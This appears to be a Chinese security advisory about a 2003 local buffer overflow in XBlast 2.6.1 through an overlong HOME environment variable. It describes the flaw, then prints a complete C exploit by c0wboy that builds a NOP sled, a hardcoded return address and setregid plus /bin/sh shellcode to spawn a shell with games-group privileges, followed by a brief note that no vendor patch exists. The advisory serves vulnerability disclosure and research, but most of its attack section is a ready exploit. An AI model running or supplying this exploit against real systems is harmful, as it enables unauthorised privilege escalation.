安全研究
安全漏洞
XBlast HOME环境变量本地缓冲区溢出漏洞
发布日期:2003-07-28
更新日期:2003-08-04
受影响系统:
XBlast XBlast 2.6.1描述:
BUGTRAQ ID: 8296
XBlast是一款多用在线游戏服务程序。
XBlast没有正确处理HOME环境变量,本地攻击者可以利用这个漏洞精心缓冲区溢出攻击,可能以games组权限在系统上执行任意指令。
攻击者提交超长的$HOME变量值,执行XBlast时可触发缓冲区溢出,精心构建提交数据,可能以games组权限在系统上执行任意指令。
<*来源:c0wboy (c0wboy@tiscali.it)
链接:http://www.0x333.org/advisors/outsider-003.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* 0x333xblast => xblast 2.6.1 local exploit
*
* xblast could be overflowed by passing a long $HOME
* env. For more info read advisory @ :
*
* http://www.0x333.org/advisories/outsider-003.txt
*
* * note * :
* exploit tested against xblast-2.6.beta-1.i386.rpm
* under Red Hat Linux 9.0. xblaste is not install
* by default +s.
*
* coded by c0wboy
*
* (c) 0x333 Outsider Security Labs / www.0x333.org
*
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BIN "/usr/X11R6/bin/xblast"
#define SIZE 1032
#define RET 0xbffffb38
#define NOP 0x90
unsigned char shellcode[] =
/* setregid (20,20) shellcode */
"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
"\xcd\x80"
/* exec /bin/sh shellcode */
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
void banner (void);
void memret (char *, int, int, int);
void banner (void)
{
fprintf (stdout, "\n\n --- xblast local exploit by c0wboy ---\n");
fprintf (stdout, " --- Outsiders Se(c)urity Labs / www.0x333.org ---\n\n");
fprintf (stdout, " [NOW PRESS 'y' TO SPAWN THE SHELL]\n\n");
}
void memret (char *buffer, int ret, int size, int align)
{
int i;
int * ptr = (int *) (buffer + align);
for (i=0; i<size; i+=4)
*ptr++ = ret;
ptr = 0x0;
}
int main ()
{
int ret = RET;
char out[SIZE];
memret ((char *)out, ret, SIZE-1, 0);
memset ((char *)out, NOP, 333);
memcpy ((char *)out+333, shellcode, strlen(shellcode));
setenv ("HOME", out, 1);
banner ();
execl (BIN, BIN, 0x0);
}
建议:
厂商补丁:
XBlast
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://xblast.host.sk/
浏览次数:2730
严重程度:0(网友投票)
绿盟科技给您安全的保障